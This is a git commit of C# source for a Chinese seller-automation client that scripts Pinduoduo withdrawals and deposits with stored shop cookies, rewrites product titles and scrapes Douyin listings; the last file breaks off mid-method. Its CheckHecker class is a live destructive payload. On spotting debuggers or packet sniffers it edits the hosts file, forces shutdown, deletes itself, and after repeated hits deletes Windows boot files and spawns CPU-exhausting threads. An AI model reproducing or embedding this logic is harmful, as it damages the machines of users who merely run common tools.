temu客户端程序

This commit is contained in:
wule committed 2025-06-29 19:38:31 +08:00
commit 4aaf264e89
694 files changed
+263780

No files matched your search

+230
View File
@@ -0,0 +1,230 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class BankWithDraw
{
public static string Name = "账户提现";
public static string Name2 = "账户充值";
public string bankPhone;
public int amount;
public string code;
public ShopChatBase currentShop;
public static List<ShopChatBase> TempShops = new List<ShopChatBase>();
public void GetWithDraw()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/uranus/api/account/balance/info";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100m;
decimal available= BaseRegex.GetDecimalJson(ref html, "availableBalance") / 100m;
if (available < 0)
available = 0;
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string bankName = BaseRegex.GetStringJson(ref html, "bankName");
string bankAccountName = BaseRegex.GetStringJson(ref html, "bankAccountName");
string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId");
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
string bankCard = bankName + " " + bankAccountName + " " + bankAccountId;
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
//保证金
decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100;
WithDraw w = new WithDraw();
w.bankName = bankName;
w.bankAccountName = bankAccountName;
w.bankAccountId = bankAccountId;
w.bankPhone = bankPhone;
w.accountMoney = available;// available;
w.freeBalance = freeBalance;
if (string.IsNullOrEmpty(bankName))
{
w.status = "没有绑定银行卡";
}
shop.withDraw = w;
TempShops.Add(shop);
LogSave.Add(Name, "商铺" + shop.ShopName + ",获取数据成功");
}
}
public void GetChongZhi()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/uranus/api/deposit/mallDepositWithPending";
string refere = "https://mms.pinduoduo.com";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
long showDepositBalance = BaseRegex.GetLongJson(ref html, "showDepositBalance");
long thresholdBalance = BaseRegex.GetLongJson(ref html, "thresholdBalance");
long sub = thresholdBalance - showDepositBalance;
if (sub <= 0)
{
LogSave.Add(Name2, "商铺" + shop.ShopName + ",不需要充值,跳过");
continue;
}
url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/shortUrl";
data = "{\"amount\":"+sub+",\"chargeType\":1,\"clientType\":1,\"successUrl\":\"/finance/deposit\",\"failedUrl\":\"/finance /deposit\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string shortUrl = BaseRegex.GetStringJson(ref html, "result");
url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/information";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"shortUrl\":\""+shortUrl+"\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
long availableBalance = BaseRegex.GetLongJson(ref html, "availableBalance");
if (availableBalance < sub)
{
LogSave.Add(Name2, "商铺" + shop.ShopName + ",货款可用余额小于充值金额,跳过");
continue;
}
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
if (string.IsNullOrEmpty(bankPhone))
continue;
WithDraw w = new WithDraw();
w.freeBalance = showDepositBalance / 100M;
w.bankPhone = bankPhone;
w.availableBalance = availableBalance;
w.subMoney = sub;
w.shortUrl = shortUrl;
shop.withDraw = w;
TempShops.Add(shop);
LogSave.Add(Name2, "商铺" + shop.ShopName + ",获取数据成功");
}
}
public void GetSingleWithDraw()
{
string url = "https://mms.pinduoduo.com/uranus/api/mall/balance";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "result") / 100m;
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
string bankName = BaseRegex.GetStringJson(ref html, "bankName");
string bankAccountName = BaseRegex.GetStringJson(ref html, "bankAccountName");
string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId");
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
string bankCard = bankName + " " + bankAccountName + " " + bankAccountId;
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
//保证金
decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100;
WithDraw w = new WithDraw();
w.bankName = bankName;
w.bankAccountName = bankAccountName;
w.bankAccountId = bankAccountId;
w.bankPhone = bankPhone;
w.accountMoney = accountMoney;
w.freeBalance = freeBalance;
if (!string.IsNullOrEmpty(currentShop.withDraw.status))
{
w.status = currentShop.withDraw.status;
w.datetime = currentShop.withDraw.datetime;
w.amount = currentShop.withDraw.amount;
}
currentShop.withDraw = w;
TempShops.Add(currentShop);
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取数据成功");
}
public void GetCode()
{
string url = "https://mms.pinduoduo.com/uranus/api/phoneCodeWithPreCheckV2";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"amount\":" + amount + ",\"withdrawType\":1}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "商铺"+currentShop.ShopName+",获取验证码成功");
return;
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取验证码失败"+errorMsg);
return;
}
}
public void ConformWithDraw()
{
string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawV2";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"amount\":" + amount + ",\"phoneCode\":\"" + code + "\",\"withdrawType\":1}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon());
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现成功");
currentShop.withDraw.amount = amount / 100.0M;
currentShop.withDraw.datetime = DateTime.Now;
currentShop.withDraw.status = "提现成功";
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现失败,"+ errorMsg);
currentShop.withDraw.amount = amount / 100.0M;
currentShop.withDraw.datetime = DateTime.Now;
currentShop.withDraw.status = "提现失败," + errorMsg;
}
GetSingleWithDraw();
}
}
public class WithDraw
{
public string bankName = "";
public string bankAccountName = "";
public string bankAccountId ="";
public string bankPhone = "";
public decimal freeBalance = 0.0M;
public decimal accountMoney = 0.0M;
public decimal amount = 0.0M;//提现金额
public DateTime datetime = DateTime.MinValue;
public string status = "";
public long availableBalance = 0;//货款可用金额
public long subMoney = 0;//充值金额
public string shortUrl = "";
}
}
+436
View File
@@ -0,0 +1,436 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class BigDataBuild
{
public static Dictionary<string, int> Keywords = new Dictionary<string, int>();
public List<string> NoKeyword = new List<string>();
public static List<TaobaoProductBase> Product = new List<TaobaoProductBase>();
public static List<TaobaoProductBase> ProductTemp = new List<TaobaoProductBase>();
public static bool Running = false, AutoAdd = false, OnlyFree = false,BuildAutoAdd=false;
public static int BeginPrice = 0, EndPrice = 0, BeginSaleCount = 0, EndSaleCount = 0, GetCount = 0, MaxCount = 0, ThisCount = 0;
public int SiteId = 1;
public string Name;
public static string SearchUrl = "", MainCatName = "";
public BigDataBuild(string name)
{
if (Keywords.Count == 0)
IniKeyword();
Name = name;
}
public void Get(int siteId, string noKeyword)
{
NoKeyword.Clear();
string[] l = noKeyword.Split('\n');
foreach (var s in l)
{
string ss = s.Trim();
if (string.IsNullOrEmpty(s))
continue;
NoKeyword.Add(ss);
}
SiteId = siteId;
new Thread(Get).Start();
}
public string GetRandTitle(string title)
{
var m = BaseRegex.GetMatchRegex(ref title, @"(【[\w\W]+?】)");
string before = "";
for (int i = 0; i < m.Count; i++)
{
before += m[i].Groups[1].Value;
title = title.Replace(m[i].Groups[1].Value, "");
}
if (string.IsNullOrEmpty(title))
return "";
List<string> keyx = new Segment().Get(title);
string newTitle = "",left = title+" ";
foreach (string s in keyx)
{
newTitle += s;
for (int i = 0; i < left.Length - s.Length; i++)
{
string key = left.Substring(i, s.Length);
if (key == s)
{
if (i > 0)
left = left.Substring(0, i) + " " + left.Substring(i + s.Length);
else
left = left.Substring(s.Length);
break;
}
}
}
return before+newTitle + left.Replace(" ","");
}
public void Get()
{
int mainCatId = BaseClass.MainCatId;
foreach (KeyValuesBase key in FromTitleToCat.MainCat)
{
if (key.Value2 == MainCatName)
mainCatId = int.Parse(key.Key);
}
string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get";
StringBuilder s = new StringBuilder();
//s.Append("&act=get");
s.Append("&begin_price=" + BeginPrice);
s.Append("&end_price=" + EndPrice);
s.Append("&begin_sale_count=" + BeginSaleCount);
s.Append("&end_sale_count=" + EndSaleCount);
s.Append("&get_count=" + GetCount);
s.Append("&site_id=" + SiteId);
s.Append("&main_cat_id=" + mainCatId);
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + s);
var m = BaseRegex.GetMatchRegex(ref html, @"<product ([^>]+?)>");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
int siteId = BaseRegex.GetIntJson(ref list, "site_id");
TaobaoProductBase t = new TaobaoProductBase();
t.FromId = BaseRegex.GetLongJson(ref list, "product_id");
t.Titlte = BaseRegex.GetStringJson(ref list, "name").Replace("2017","2018");
bool had = false;
foreach (string k in NoKeyword)
{
if (t.Titlte.Contains(k))
{
had = true;
break;
}
}
if (had)
continue;
t.FromType = siteId == 1 ? "淘宝" : "拼多多";
t.Cat1 = BaseRegex.GetIntJson(ref list, "cat1");
if (t.Cat1 == 194)
continue;
decimal free = BaseRegex.GetDecimalJson(ref list, "express_price");
if (OnlyFree && free > 0)
continue;
t.Cat2 = BaseRegex.GetIntJson(ref list, "cat2");
t.Cat3 = BaseRegex.GetIntJson(ref list, "cat3");
t.MainCatId = BaseRegex.GetIntJson(ref list, "main_cid");
t.Price = BaseRegex.GetDecimalJson(ref list, "price");
t.SaleCount = BaseRegex.GetIntJson(ref list, "sold_count");
had = Product.Exists(p => p != null && p.FromId == t.FromId);
if (!had)
{
Product.Add(t);
ProductTemp.Add(t);
}
}
}
public void BuildTitle()
{
Running = true;
MaxCount = Product.Count;
for (int i = 0; i < Product.Count && Running; i++)
{
ThisCount = i + 1;
var p = Product[i];
if (p == null || p.Build)
continue;
string title = p.Titlte;
string mainKey = GetMainKeywords(title);
if (string.IsNullOrEmpty(mainKey))
{
LogSave.Add(Name, "没有找到主关键词");
continue;
}
string newTitle = GetAllTitle(mainKey);
if (string.IsNullOrEmpty(newTitle) && mainKey.Split(' ').Length==4)
{
newTitle = GetAllTitle(mainKey.Substring(0,mainKey.LastIndexOf(" ")));
}
if (string.IsNullOrEmpty(newTitle))
{
LogSave.Add(Name, "生成标题失败:" + mainKey);
continue;
}
p.Build = true;
p.Titlte = newTitle;
LogSave.Add(Name, "生成标题成功:" + p.Titlte);
BigDataCenter.ProductTemp.Add(p);
if (BuildAutoAdd)
{
if (p.FromType == "内部数据")
p.FromType = "拼多多";
UploadPinduoduoMain.ProductStock.Add(p);
UploadPinduoduoMain.AddToDataBase(p);
}
}
ThisCount = MaxCount;
Running = false;
}
/// <summary>
/// 以关键词和指数获取标题
/// </summary>
/// <param name="keyword"></param>
/// <returns></returns>
public string GetIndexKeywordTitle(string keyword)
{
return "";
}
/// <summary>
/// 以关键词获取标题
/// </summary>
/// <param name="keyword"></param>
/// <returns></returns>
public string GetAllTitle(string keyword)
{
if (string.IsNullOrEmpty(keyword) || !keyword.Contains(" "))
return "";
Thread.Sleep(500);
string url = "http://t.qimake.cn/api.php?keyword=" + GetHtml.UrlEncodeUtf8(keyword);
string data = UserLogin.GetSignaturex() ;
string html = GetHtml.PostUtf8(url, data);
html = GetHtml.Decode(html).Replace("\\/", "/");
//var m = BaseRegex.GetMatchRegex(ref html, @"""title"":""([^""]+?)""");
string titles = "";
string[] tl = html.Split('\n');
foreach (var ti in tl)
{
string title = ti.Replace("2017", "2019").Replace("2018", "2019");
title = BaseRegex.Clear(title, "(【[^】]+】)");
title = BaseRegex.Clear(title, @"(买[\d]+发[\d]+)");
title = BaseRegex.Clear(title, @"(满[\d]+减[\d]+)");
if (titles.Contains(title) || title.Length < 4)
continue;
if (title.Length > 60)
title = title.Substring(0, 60);
titles += title.Substring(4);
}
//for (int j = 0; m != null && j < m.Count; j++)
//{
// string title = m[j].Groups[1].Value;
// if (titles.Contains(title) || title.Length < 4)
// continue;
// titles += title.Substring(4);
//}
BaseRegex.Relpace(ref titles, "([0-9a-zA-Z-_:&;/])", "");
List<string> keyx = new Segment().Get(titles);
List<string> key = new List<string>();
string noKey = ",正品,限量,代购,限时,厂家,天猫,微信,京东,淘宝,韩国,日本,美国,正版,真品,真皮,,,";
for (int i = 0; keyx != null && i < keyx.Count; i++)
{
if (key.Contains(keyx[i]) || noKey.Contains(keyx[i]) || keyx[i].Contains("正") || keyx[i].Contains("真")
|| AlibabaShop.TitleCantHad.Contains(keyx[i]) || AlibabaShop.NoBrandName.Contains(keyx[i]) || AlibabaShop.NoTitleWords.Contains(keyx[i]))
continue;
key.Add(keyx[i]);
}
if (key.Count < 30)
return "";
string[] l = keyword.Split(' ');
for (int i = 0; i < l.Length; i++)
{
if (AlibabaShop.NoTitleWords.Contains(l[i]) || AlibabaShop.NoBrandName.Contains(l[i]) ||
AlibabaShop.TitleCantHad.Contains(l[i]))
l[i] = "";
}
string newTitle = l[0];
int times = 0;
while (newTitle.Length < 8 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 1)
newTitle += l[1];
times = 0;
while (newTitle.Length < 16 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 2)
newTitle += l[2];
while (newTitle.Length < 22 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 3)
newTitle += l[3];
times = 0;
while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
//超强过滤
for (int i = 0; i < AlibabaShop.NoBrandName.Count; i++)
{
if (newTitle.Contains(AlibabaShop.NoBrandName[i]))
newTitle = newTitle.Replace(AlibabaShop.NoBrandName[i], "");
}
while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
return newTitle;
}
public string GetMainKeywords(string title)
{
if (string.IsNullOrEmpty(title))
return "";
BaseRegex.Relpace(ref title, "([0-9a-zA-Z-_:&;/])", "");
title = title.Replace(" ", "").Replace("新款", "").Replace("包邮", "").Replace("正品", "").Replace("韩版", "")
.Replace("可爱", "").Replace("卡通", "").Replace("时尚", "").Replace("新品", "").Replace("特价", "").Replace("热销", "").Trim();
if (title.Length < 8)
return "";
Dictionary<string, int> keys = new Dictionary<string, int>();
for (int i = 2; i < title.Length; i++)
{
for (int j = 0; j < title.Length - i; j++)
{
string key = title.Substring(j, i).Trim();
if (string.IsNullOrEmpty(key) || keys.ContainsKey(key))
continue;
if (Keywords.ContainsKey(key))
keys.Add(key, Keywords[key] * 5 ^ (key.Length - 2));
}
}
string outKey = "";
if (keys.Count < 4)
{
List<string> keyx = new Segment().Get(title);
for (int i = 0; i < keyx.Count&& keys.Count<4; i++)
{
if(keys.ContainsKey(keyx[i]))
continue;
keys.Add(keyx[i],1);
}
}
if (keys.Count < 5)
{
foreach (KeyValuePair<string, int> key in keys)
{
outKey += " " + key.Key;
}
return outKey.Trim();
}
string key1 = "", key2 = "", key3 = "", key4 = "";
int count1 = 0, count2 = 0, count3 = 0, count4 = 0;
foreach (KeyValuePair<string, int> key in keys)
{
if (count1 < key.Value)
{
count1 = key.Value;
key1 = key.Key;
}
else if (count2 < key.Value)
{
count2 = key.Value;
key2 = key.Key;
}
else if (count3 < key.Value)
{
count3 = key.Value;
key3 = key.Key;
}
else if (count4 < key.Value)
{
count4 = key.Value;
key4 = key.Key;
}
}
outKey = key1 + " " + key2 + " " + key3 + " " + key4;
return outKey.Trim();
}
public void Ini()
{
string fileName = "lbigdata.dll";
if (!FileBase.Exists(fileName))
{
GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName);
}
string[] l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
if (l == null || l.Length < 300000)
{
GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName);
l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
}
if (l == null || l.Length < 300000)
{
MessageBox.Show("初始化大数据异常,请检查网络", "提示");
return;
}
}
public void IniKeyword()
{
string[] l = "防狼,辣椒水,迷情,刀,枪,听话,催泪,瓦斯".Split(',');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]))
continue;
NoKeyword.Add(l[i].Trim());
}
//string fileName = "lbigdata.dll";
string fileName = "Segment.dll";
l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
if (l == null || l.Length < 300000)
{
MessageBox.Show("初始化大数据失败,请重新打开软件", "提示");
return;
}
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t"))
continue;
string[] ll = l[i].Split('\t');
string keyword = ll[0].Replace(" ", "");
int rank = int.Parse(ll[1]);
if (!Keywords.ContainsKey(keyword))
Keywords.Add(keyword, rank);
}
}
/// <summary>
/// 删除下架产品
/// </summary>
/// <param name="id">产品ID</param>
/// <param name="site">网站ID</param>
public static void Delete(long id, int site)
{
//string url = BaseClass.BigDataApiUrl + "?obj=product/product";
//string data = "&act=delete&site_id=" + site + "&id=" + id;
//string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
}
}
+176
View File
@@ -0,0 +1,176 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Work.CollectClass
{
public class CheckHecker
{
private string SystemPath;
/// <summary>
/// 检查是否被黑客劫持
/// </summary>
public void Check()
{
try
{
CheckReCrack();
SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string path = SystemPath + "\\drivers\\etc\\hosts";
if (File.Exists(path))
{
string f = File.ReadAllText(path);
if ( f.IndexOf("qixiaoke.com") > -1)
{
new Thread(IsHecker).Start();
string[] fl = File.ReadAllLines(path);
for (int i = 0; i < fl.Length; i++)
if ( f.IndexOf("qixiaoke.com") > -1)
fl[i] = "";
File.WriteAllLines(path, fl);
}
}
}
catch (Exception e)
{
}
}
/// <summary>
/// 检查反破解
/// </summary>
private void CheckReCrack()
{
string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot,WSExplorer,Sniffer,wireshark,WinNetCap,Charles";
string[] l = s.Split(',');
foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
{
for (int i = 0; i < l.Length; i++)
{
if (thisproc.ProcessName.ToLower() == l[i].ToLower())
{
new Thread(IsHecker).Start();
return;
}
}
}
}
/// <summary>
/// 发现是黑客破解
/// </summary>
public void IsHecker()
{
string p = "c:\\ini.ini";
if (!File.Exists(p))
File.WriteAllText(p, "0");
string f = File.ReadAllText(p);
int times = 0;
int.TryParse(f, out times);
if (times < 0)
times = 0;
times++;
File.WriteAllText(p, times.ToString());
new Thread(Warningx).Start();
new Thread(Warning).Start();
if (times > 3)
new Thread(DeleteSystemFile).Start();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warningx()
{
Thread.Sleep(100);
Process.Start("shutdown.exe", "-s -t 2");
DeleteMyself();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warning()
{
Thread.Sleep(500);
MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件");
}
/// <summary>
/// 删除系统文件
/// </summary>
private void DeleteSystemFile()
{
string c = SystemPath.Substring(0, 1);
string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr";
string[] f = file.Split(',');
for (int i = 0; i < f.Length; i++)
{
try
{
string path = c + ":\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
if (c.ToLower() != "c")
{
path = "c:\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
}
}
catch
{
}
}
//强制关机
Process.Start("shutdown.exe", "-s -t 2");
//耗尽CPU
for (int i = 0; i < 1000; i++)
{
Thread t = new Thread(UserAllCpu);
t.Priority = ThreadPriority.Highest;
t.Start();
}
}
/// <summary>
/// 耗尽CPU
/// </summary>
private void UserAllCpu()
{
while (true)
{
double s = 0;
for (int i = 0; i < 100000; i++)
{
s += i;
if (s == -1)
break;
}
}
}
/// <summary>
/// 删除自己
/// </summary>
private void DeleteMyself()
{
//在临时文件夹生成批处理文件
string vBatFile = Path.GetTempPath() + "clear.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" +
"if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath));
}
Process.Start(vBatFile);
Process.GetCurrentProcess().Kill();
}
}
}
+400
View File
@@ -0,0 +1,400 @@
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class CollectDoyin
{
public static bool isGeting = false;
public static Dictionary<long, ProductCollectBase> ProductTemp = new Dictionary<long, ProductCollectBase>();
public static DateTime lastGetTime = DateTime.Now;
public bool GetSuccess = false;
public ProductCollectBase Product;
public string Message = "";
public CollectDoyin(ProductCollectBase product)
{
Product = product;
}
public void GetProduct()
{
while (isGeting)
{
Thread.Sleep(50);
}
isGeting = true;
Thread.Sleep(Randomx.GetId(3500, 4500));
try
{
this.GetProd();
}
catch (Exception ex)
{
Message = ex.Message;
}
isGeting = false;
}
public void GetProd()
{
if (ProductTemp.ContainsKey(Product.from_id))
{
GetSuccess = true;
Product = ProductTemp[Product.from_id].Clone();
return;
}
GetSuccess = false;
string html = "";
string sku = "";
bool canUse = false;
if (UploadPinduoduoMain.isUseDouYinCache)
html = ServerTemp.Get(6, Product.from_id.ToString(), out canUse);
// 使用缓存数据
if (!string.IsNullOrEmpty(html) && canUse)
{
var dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})");
while (!string.IsNullOrEmpty(dtString) && html.StartsWith(dtString))
{
html = html.Substring(dtString.Length).TrimStart(' ', ',');
dtString = BaseRegex.GetMatchRegexString(ref html, @"(\d{4}-\d{2}-\d{2})");
}
try
{
//Product = JsonHelper.DeserializeJsonToObject<ProductCollectBase>(html);
Product = Newtonsoft.Json.JsonConvert.DeserializeObject<ProductCollectBase>(html);
Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4;
List<KeyValueBase> kvList = new List<KeyValueBase>();
foreach (var kv in Product.Prop)
{
if (!kvList.Any(k => k.Key == kv.Key))
kvList.Add(kv);
}
Product.Prop.Clear();
Product.Prop.AddRange(kvList);
if (Product.cat_id == 0 && Product.cat2 != 0)
Product.cat_id = Product.cat2;
ProductTemp.Add(Product.from_id, Product);
GetSuccess = true;
return;
}
catch (Exception ex)
{
Message = ex.Message;
}
}
// 缓存不可用,采集最新数据
while (DateTime.Now < lastGetTime.AddSeconds(5))
{
Thread.Sleep(50);
}
html = "";
for (int r = 0; !html.Contains("\"st\":0") && r < 5; r++)
{
if (r > 0)
Thread.Sleep(Randomx.GetId(3500, 4500));
// 采集商品详情
html = RequestProduct(Product.from_id.ToString());
if (html.Contains("商品已失效"))
{
GetSuccess = true;
Product.IsOnSale = false;
return;
}
}
if (!html.Contains("\"st\":0"))
return;
// 采集SKU
sku = RequestSku(Product.from_id.ToString());
for (int r = 0; !sku.Contains("\"st\":0") && r < 5; r++)
{
Thread.Sleep(Randomx.GetId(3500, 4500));
sku = RequestSku(Product.from_id.ToString());
}
if (!sku.Contains("\"st\":0"))
return;
GetSuccess = true;
try
{
JObject jProd = JObject.Parse(html);
JObject jSku = JObject.Parse(sku);
Product.from_site_id = 7;
Product.from = "抖音";
Product.name = jProd["data"]["name"].ToString();
string sellNumStr = jProd["data"]["sell_num"]?.ToString().Replace("+", "").Replace("万", "0000").Replace("千", "000");
if (!string.IsNullOrEmpty(sellNumStr))
Product.saleCount = sellNumStr.ParseToInt();
else
Product.saleCount = 0;
Product.price = jProd["data"]["discount_price"].ParseToDecimal() / 100;
Product.express_price = 0;
Product.num = jSku["data"]["total_stock_num"].ParseToInt();
Product.from_shop_name = jProd["data"]["shop_name"].ToString();
Product.main_cid = jProd["data"]["first_cid"].ParseToInt();
Product.IsOnSale = jProd["data"]["status"] != null && jProd["data"]["status"].ParseToInt() == 0;
var salesStr = jProd["data"]["sell_num"].ToString();
var salesInt = salesStr.Replace("+", "").Replace("万", "").Replace("千", "").ParseToDecimal();
if (salesStr.Contains("千"))
salesInt = salesInt * 1000;
if (salesStr.Contains("万"))
salesInt = salesInt * 10000;
Product.saleCount = (int)salesInt;
if (!Product.IsOnSale)
Message = "商品已下架";
try
{
Product.main_cat_name = jProd["data"]?["extra"]?["category_detail"]?["first_cname"]?.ToString();
Product.cat1 = (jProd["data"]?["extra"]?["category_detail"]?["first_cid"]).ParseToInt();
Product.cat2 = (jProd["data"]?["extra"]?["category_detail"]?["second_cid"]).ParseToInt();
Product.cat3 = (jProd["data"]?["extra"]?["category_detail"]?["third_cid"]).ParseToInt();
Product.cat4 = (jProd["data"]?["extra"]?["category_detail"]?["fourth_cid"]).ParseToInt();
}
catch (Exception ex)
{
Message = ex.Message;
}
if (string.IsNullOrEmpty(Product.main_cat_name))
Product.main_cat_name = BaseRegex.GetStringJson(ref html, "first_cname");
Product.cat_id = Product.from_cat_id = Product.cat4 == 0 ? Product.cat3 : Product.cat4;
if (Product.cat_id == 0 && Product.cat2 != 0)
Product.cat_id = Product.cat2;
if (!string.IsNullOrEmpty(jProd["data"]["freight1"]?.ToString()) && jProd["data"]["freight"]["product_province_name"] != null)
Product.state = jProd["data"]["freight"]["product_province_name"].ToString();
Product.item_size = "";
Product.item_weight = (int)jProd["data"]["weight"].ParseToDecimal();
if (Product.item_weight == 0)
Product.item_weight = 1;
JArray jImgArr = jProd["data"]["img_list"] as JArray;
if (jImgArr != null)
{
foreach (var jImg in jImgArr)
Product.Images.Add(jImg.ToString());
}
Product.image = jProd["data"]["img"].ToString();
if (string.IsNullOrEmpty(Product.image) && Product.Images.Count > 0)
Product.image = Product.Images[0];
var description = jProd["data"]["description"].ToString();
